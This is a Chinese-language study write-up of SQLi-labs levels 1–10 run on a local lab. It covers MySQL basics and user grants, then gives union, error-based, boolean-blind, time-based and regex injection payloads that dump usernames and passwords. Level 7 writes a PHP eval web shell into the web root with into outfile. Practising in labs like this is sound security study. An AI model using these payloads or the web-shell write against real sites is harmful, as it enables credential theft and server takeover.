sqlilabs靶场记录GET型(一)

基础知识

show databases: 	显示数据库
use security; 使用数据库
show tables; 展示表名
desc emails; 对某张表降序显示
information_schema 系统数据库

其中schema代表数据库

基础查询语句

查询数据库

select schema_name from information_schema.schemata;

使用下面的语句可查所以表名

select table_name from information_schema.tables where table_schema="security";

猜表的所有列

select column_name from information_schema.columns where table_name='xxx';

查询字段内容

select id,email_id from emails;

limit

返回前三条数据

select * from users limit 3;

从索引1开始的前两条数据

select * from users limit 1,2;

concat()

用于连接字符串

select concat('11','22','33');	输出112233
select concat_ws('-','11','22','33'); 输出11-22-33
group_concat(column_name) 将字段的所有数据用,连接作为字符串输出

内置数据库information_schema

里面有三张表:schemata tables columns
schemata表中存储了mysql中所有数据库的信息包括数据库名编码类型
tables表中存储了mysql中所有的数据库的表的信息
columns表中存储了mysql中所有表的字段信息

order by

select * from table_name order by 3 	按第三列排序
order by column_name asc(升序)/desc(降序)

union

两个查询的列数必须相同
select 返回的数据必须相同类型

user表

mysql中存在一个独立的数据库,名字叫做mysql,当中有很多表,保存着mysql中的各种参数,其中user表段设置了mysql数据库用户的部分信息
user表段中,user字段为用户登录名,可以有相同的名字重复
password字段为登录的密码哈希值,是40位的密文,类似于md5
host字段设置的是这个用户可以在哪些机器上面的登录,如果为localhost表示只能在本机登录,host可以是数据库ip也可以是数据库服务器的名称,若host为localhost的话不一定没有希望,如果服务器网站装有phpmyadmin,仍可以利用
file_priv字段规定了这个用户是不是可以读取硬盘的里的文件,设置为Y表示允许,设置为N表示禁止

参数

user():	数据库的用户格式为user@server
database(): 当前数据库名
version(): 当前使用数据库的版本
@@datadir: 数据路径.通常用于load_file是猜测网站路径
@@version_compile_os: 操作系统版本
concat(): 联合数据concat(username,0x3a,password)中间加一个hex编码值,表示冒号
group_concat(): 联合数据
concat_ws(separator,str1,str2,...): 含有分隔符地连接字符串

hex()和unhex(): 有一些注入点由于数据库中数据字段类型定义,可以不支持union来显示某些不同类型的内容,所以使用hex对数据进行hex编码,例如 union select hex(password) from mysql.user注入出来的数据全是0x1234abc类似的数据,再次转回数据即可

load_file(): 这是mysql以文本读取文件的参数 例如:linux系统的网站load_file('/etc/passwd')或者windows系统的网站load_file('c:boot.ini'),这个参数的前提是你的user()用户在mysql.user表中的字段file_priv设置为Y.但是要注意的是如果为windows系统,保险起见将路径设置为双斜杠\\,目的是为了防止转义
很多时候php的网站会设置gpf为on,对特殊字符自动转义.那么load_file('c:boot.ini')就变成
load_file(\'c:\\\\boot.ini\')出现语法错误解决方法就是将c:\\boot.ini进行hex编码,得到0x633a5c5c6
将原句修改为 union select 1,load_file(0x12424324),接可以使用load_file参数后面不加'

select xxoo into outfile '路径' : 写文件

常用命令

查询所有用户
select Host,User,Password from user;

查询用户权限:all表示所有权限,select表示只查穿线,update表示只改权限,delete表示只删权限
show grants for "user"@"host";
show grants for "root"@"localhost";

添加授权用户(新创建的用户,默认情况下是没有任何权限的):使用root用户连接到服务器
create user "用户名"@"IP地址" indentified by "密码";
create user "haidon"@"%" identified by "123456";
create user "haidpm"@"loaclhost" identified by "123456";
IP地址表示方法:
% 表示用户可以从任何地址连接到服务器
localhost 表示用户只能从本地连接到服务器
指定一个ip表示用户只能从此ip连接到服务器

分配用户权限(给用户授权)
grant 权限列表 on 库.表 to "用户名"@"ip地址" with grant option;
grant all privileges on *.* to "haidon"@"%" with grant option;
grant all privileges on *.* to "haidon"@"%" identified by 'test' with grant option;
grant all privileges on domain_check.tb_user to "haidon"@"localhost" with grant option;
grant select on domain_check.tb_user to "haidon"@"localhost" with grant option;
grant select,insert on domain_check.tb_user to "haidon"@"132.24.98.25" with grant option;
1.权限列表:select、update、delete、insert、alter、drop、create、...(show)
2.库.表:*.*表示所有库的所有表。with grant option表示它具有grant权限。密码是test。
3.如果带了 with grant option,那么用户haidon可以将select ,update权限传递给其他用户( 如xiaodon)。
4.如果没带 with grant option,那么用户haidon不能给用户xiaodon授权。
5.all后面加上privileges,具体到哪些权限时得看MySQL版本,5.7版本不加privileges,8.0版本加privileges。

6. insert into user values("%","haidon",password("test"),"Y","Y","Y","Y","Y","Y","Y","Y","Y","Y");
flush privileges; 这两句和上面第3句grant的效果是一样的。

7.insert into user (host,user) values("132.24.98.25","haidon");
insert into db values("132.24.98.25","haidon","Y","Y","Y","Y","Y","Y","N","N","N","N")
flush privileges; 这三句和上面第6句grant的效果是一样的。

收回用户权限
revoke all on *.* from "haidon"@"localhost";
revoke all on domain_check.tb_user from "haidon"@"localhost";
revoke select on *.* from "haidon"@"localhost";

删除授权用户
drop user "用户名"@"ip地址"
drop user "haidon"@"%"
delete from user where user='haidon';
flush privileges;

less-1获取-基于错误-单引号-字符串

id后加一个’出现报错语句

http://127.0.0.1/sqlilabs/Less-1/?id=1'

image-20220315181520310

那么我们需要去掉多余的’接使用

1'or 1=1--+

#是%23 空格时%20 ‘是%27 + 是空格

当分别尝试?id=1 ?id=1’ ?id=1” 为什么只有?id=1’ 报错?
那是因为Mysql查询并不严格, 而在select * from users where id=’1’’ limit 0,1 中有一个单引号没有闭合而报错,而在select * from users where id=’1” ‘ limit 0,1 中虽然多了一个双引号,但mysql查询时会把它当成两个单引号,而这两个单引号又闭合了,所以查询时不会报错

根据报错猜测sql语句应该是

select username,password from users where id='$_GET[id]' limit 0,1;

那么当我们传入1’时

得到

select username,password from users where id='1'' limit 0,1;

会产生单数的单引号,那么接下来应该把这个单引号注释掉加上–+ 或者 #

发现在家–+ 或%23时+是空格的意思也是%20 #是%23

image-20220315182431253

id=1' order by 4--+

image-20220315182535082

这时会爆不知道4在哪里说明多了

id=1' order by 3--+

image-20220315182652005

这说明总共有三列数据

  • 接着使用union联合查询将两个sql语句进行联合

  • union前后的两个sql语句的选择列数必须相同才可以

  • 对于union而言,如果第一个sql语句的查询语句为错误的话,那么他会将第二个sql语句的查询结果作为最后的数据,所以前面一个id输入一个非正确的值,如-1

id=-1'union select 1,2,3--+

image-20220315183100939

发现23有回显

接着爆数据库
id=-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+

爆表名
id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

爆字段名
id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

爆数据名
id=-1'union select 1,group_concat(username,password),3 from security.users--+
id=-1'union select 1,group_concat(username,password),3 from users--+

image-20220315183740190

less-2获取-基于错误-基于整数

当尝试id=1 id=1’ id=1” 发现 id=1’ id=1”报错,这说明是数字型注入

这里相比于less1的sql语句

select username,password from users where id=$_GET[id] limit 0,1

可以尝试

id=1 and 1=1--+		正常		id=-1 or 1=1--+		正常
id=1 and 1=2--+ 报错 id=-1 or 1=2--+ 报错

接下来就是注入数据了

id=1 order by 4--+
id=1 order by 3--+
id=-1 union select 1,2,3--+
id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata--+

id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+

id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"--+

id=-1 union select 1,group_concat(username,password),3 from users--+

less-3基于错误-带括号的单引号字符串

看起来是单引号外面又加了一个圆括号

源码

select * from users where id=('$id') limit 0,1;
?id=')--+

注入数据

id=1') order by 4--+
id=1') order by 3--+
id=-1') union select 1,2,3--+
id=-1')union select 1,group_concat(schema_name),3 from information_schema.schemata--+

id=-1')union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+

id=-1')union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"--+

id=-1')union select 1,group_concat(username,password),3 from users--+

less-4基于错误的GET双引号字符型注入

源码

select * from users where ("id") limit 0,1;

直接闭合注入

id=1")

注入数据

id=1") order by 4--+
id=1") order by 3--+
id=-1") union select 1,2,3--+
id=-1")union select 1,group_concat(schema_name),3 from information_schema.schemata--+

id=-1")union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+

id=-1")union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"--+

id=-1")union select 1,group_concat(username,password),3 from users--+

less-5双注入GET单引号字符型注入

这里先经过简单尝试发现有注入并且是’闭合

布尔盲注

测试一下

id=1' and 1=1--+ 	回显you are in....
id=1' and 1=2--+ 无回显

因此当查询语句正确是返回you are in…错误时无回显

数据库长度

id=1'and length(database())=8--+	回显you are in....
id=1'and length(database())=7--+ 无回显

说明数据库长度是8

那么接下来就可以写脚本来查询数据了

注意这里还可以使用其他类似的函数去截取数据,如substr,和ascii返回ascii值

id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))='a'-- #

延时注入

sleep()函数

id=1' and If(ascii(substr(database(),1,1))=115,1,sleep(5))-- #
当正确时无明显延迟,错误有明显延迟

benchmakrk()函数

id=1' UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1-- #

双查询注入

这里我们使用的语句

id=-1'union select count(*),count(*), concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

id=-1'union select count(*),count(*), concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
这里修改limit x,1可以遍历数据

?id=-1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' limit 4,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

?id=-1' union select count(*),1, concat('~',(select concat_ws('|||',password,username) from users limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

请注意这个方法是有一定概率的,所以要多试几次

报错注入

id=1' union Select 1,count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand(0)*2)) as a from information_schema.columns group by a-- #

id=1' union Select 1,count(*),concat(0x3a,0x3a,(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),0x3a,0x3a,floor(rand(0)*2)) as a from information_schema.columns group by a-- #

id=1' union Select 1,count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 4,1),0x3a,0x3a,floor(rand(0)*2)) as a from information_schema.columns group by a-- #

1' union Select 1,count(*),concat(0x3a,0x3a,(select concat_ws('|||',password,username) from users limit 1,1),0x3a,0x3a,floor(rand(0)*2)) as a from information_schema.columns group by a-- #

利用 double 数值类型超出范围进行报错注入

存疑,注不出来哦,推测可能是数据库版本问题,回头再说
id=1' union select (exp(~(select * FROM (SELECT USER())a))),2,3-- #

利用 bigint 溢出进行报错注入

也不行哦
id=1' union select (!(select * from (select user())x)-~0),2,3-- #

xpath 函数报错注入

id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))-- #

id=1' and extractvalue(1,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),0x7e))-- #

id=1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 4,1),0x7e))-- #

id=1' and extractvalue(1,concat(0x7e,(select concat_ws('|||',password,username) from users limit 1,1),0x7e))-- #

利用数据的重复性

id=1' union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x-- #
不会注,咋办

less-6双注入-双引号-字符串

这关与上一关基本一致,只是闭合方式变成了”

id=1	正常
id=1' 正常
id=1" 错误 use near '"1"" LIMIT 0,1' at line 1

less-7导入文件 -字符串

image-20220316130608071

提示已经很明显了,写文件进去

id=1	正常
id=1' 错误 You have an error in your SQL syntax
id=1" 正确
是单引号闭合,接着测试
id=1' and 1=1--+ 报错,说明不止有单引号闭合
id=1') and 1=1--+ 报错,说明不止一个括号
id=1')) and 1=1--+ 正常,说明是一个单引号加两个括号闭合

这里接下来可以使用布尔盲注,也可以使用时间盲注,

布尔盲注

id=1'))and length(database())=8--+	回显You are in.... Use outfile......
id=1'))and length(database())=0--+ 回显You have an error in your SQL syntax

时间盲注

id=1'))and If(ascii(substr(database(),1,1))=115,1,sleep(5))-- #	无明显延时
id=1'))and If(ascii(substr(database(),1,1))=114,1,sleep(5))-- # 有明显延时

写入文件

  1. 首先我们要得到网站的绝对路径,但是在单纯在这一关中,我们无从得知网站的绝对路径,所以我们需要从其他的地方去寻找网站的绝对路径,这里我们从前面的关卡中得到一下

    http://127.0.0.1/sqlilabs/Less-1/?id=-1' union select 1,2,@@datadir--+
    回显 Your Password:D:\Data\secquan\tools\Environment\PhpStudy\PHPTutorial\MySQL\data\
    这里我在sqlilabs目录下面新建了一个file目录用来写入数据
    D:\Data\secquan\tools\Environment\PhpStudy\PHPTutorial\WWW\sqlilabs\file
  2. 读写权限测试

    id=1'))and (select count(*) from mysql.user)>0 --+
    回显正常 You are in.... Use outfile......
  3. 利用into outfile写入文件

    注意这里如果写不进去的话可能是因为secure_file_priv参数的原因

    作用主要是用来限制load data,select...outfile load_file 传到那个指定的目录
    当secure_file_priv的值为null时,表示限制mysql不允许导入,导出
    当secure_file_priv的值为/tmp/,表示限制mysql的导入,导出只能发生在/tmp/目录下
    当secure_file_priv的值没有具体的值""时表示不对mysql的导入导出做出限制
    修改
    进入mysql的安装目录,找到my.ini修改里面的secure_file_priv参数为""
    如果没有发现的话在最后面添加一个: secure_file_priv=""
    id=-1')) union select 1,2,"<?php @eval($_POST['zf']);?>" into outfile "D:\\Data\\secquan\\tools\\Environment\\PhpStudy\\PHPTutorial\\WWW\\sqlilabs\\file\\zf.php" -- #
    这里可以发现当使用''单引号时发现写不进去,使用""双引号时可以写进去,接着连接就好

    image-20220316194043361

less-8盲注-基于布尔值单引号

基本测试说明是单引号闭合

id=1' and 1=1--+ 回显正常

id=1' union Select 1,count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand(0)*2)) as a from information_schema.columns group by a-- #
回显错误

id=1'and length(database())=8--+ 回显正常
id=1'and length(database())=7--+ 回显错误

less-9盲注 - 基于时间 - 单引号

id=1	You are in...........
id=1' You are in...........
id=1" You are in...........

全部回显一样,说明无法使用布尔盲注.时间盲注试一下

id=1 and sleep(5)-- #	无延时
id=1' and sleep(5)-- # 延时五秒
id=1" and sleep(5)-- # 无延时

说明是基于单引号

id=1' and if (length(database())=7 ,sleep(5),1)--+	无延时
id=1' and if (length(database())=8 ,sleep(5),1)--+ 延时五秒

less-10 盲注 - 基于时间 - 双引号

id=1	You are in...........
id=1' You are in...........
id=1" You are in...........
id=1 and sleep(5)-- #	无延时
id=1' and sleep(5)-- # 无延时
id=1" and sleep(5)-- # 延时五秒

说明是基于双引号

id=1"and if (length(database())=7 ,sleep(5),1)--+	无延时
id=1" and if (length(database())=8 ,sleep(5),1)--+ 延时五秒

盲注的总结

基于布尔盲注

三大截取函数:mid(),substr(),left()

mid()

此函数为截取字符串的一部分,mid(column_name,start,length)
column_nmae:需要提取的字符字段
start:规定开始的位置
length:要返回的字段数
mid(database(),1,1)>'a':查看数据库名的第一位

substr()与substring()

substr()和substring()函数实现的功能是一样的
string substring(string,start,length)
string substr(string,start,length)
参数描述同mid参数,第一个为要处理的字符串,start为开始位置,length为截取的长度

left()

left()得到字符串左部指定个数的字符串
left(string,n) string为要截取的字符串,n为长度

ord()

返回第一个字符的ascii码,经常与上面的函数进行组合使用
ord(mid(database(),1,1))>114意思就是检测database()的第一位ascii码是否大于114

ascii()

substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度。Ascii()将某个字符转换为 ascii 值

正则注入

1. 判断第一个表名的第一个字符是否是a-z中的字符,其中blind_sqli是假设已知的库名。

注:正则表达式中 ^[a-z] 表示字符串中开始字符是在 a-z范围内

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-z]' LIMIT 0,1) /*

2. 判断第一个字符是否是a-n中的字符

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)/*

3. 确定该字符为n

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 0,1) /*

4. 表达式的更换如下

expression like this: '^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE

这时说明表名为news ,要验证是否是该表明 正则表达式为'^news$',但是没这必要 直接判断 table_name = ’news‘ 不就行了。

5.接下来猜解其它表了 (只需要修改 limit 1,1 -> limit 2,1就可以对接下来的表进行盲注了)这里是错误的!!!

regexp匹配的时候会在所有的项都进行匹配。例如:

security数据库的表有多个,users,email等

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^u[a-z]' limit 0,1);是正确的

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);是正确的

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^em[a-z]' limit 0,1);是正确的

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 1,1);不正确

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^em[a-z]' limit 1,1);不正确

实验表明:在limit 0,1下,regexp会匹配所有的项。我们在使用regexp时,要注意有可能有多个项,同时要一个个字符去爆破。类似于上述第一条和第二条。而此时limit 0,1此时是对于where table_schema='security' limit 0,1。table_schema='security'已经起到了限定作用了,limit有没有已经不重要了

报错注入

▲select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) from information_schema.columns group by a;

//explain:此处有三个点,一是需要 count 计数,二是 floor,取得 0 or 1,进行数据的重复,三是 group by 进行分组,但具体原理解释不是很通,大致原理为分组后数据计数时重复造成的错误。也有解释为 mysql 的 bug 的问题。但是此处需要将 rand(0),rand()需要多试几次才行。

以上语句可以简化成如下的形式。

select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))

如果关键的表被禁用了,可以使用这种形式

select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))

如果 rand 被禁用了可以使用用户变量来报错

select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)

▲select exp(~(select * FROM(SELECT USER())a)) //double 数值类型超出范围

//Exp()为以 e 为底的对数函数;版本在 5.5.5 及其以上

可以参考 exp 报错文章:http://www.cnblogs.com/lcamry/articles/5509124.html

▲select !(select * from (select user())x) -(ps:这是减号) ~0

//bigint 超出范围;~0 是对 0 逐位取反,很大的版本在 5.5.5 及其以上

可以参考文章 bigint 溢出文章 http://www.cnblogs.com/lcamry/articles/5509112.html

▲extractvalue(1,concat(0x7e,(select @@version),0x7e)) se//mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误

▲updatexml(1,concat(0x7e,(select @@version),0x7e),1) //mysql对xml数据进行查询和修改的 xpath 函数,xpath 语法错误

▲select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;

//mysql 重复特性,此处重复了 version,所以报错。

延时注入

sleep

and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

benchmark()

BENCHMARK(count,expr)用于测试函数的性能,参数一为次数,二为要执行的表达式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执行成功。这是一种边信道攻击,在运行过程中占用大量的 cpu 资源。推荐使用 sleep()函数进行注入。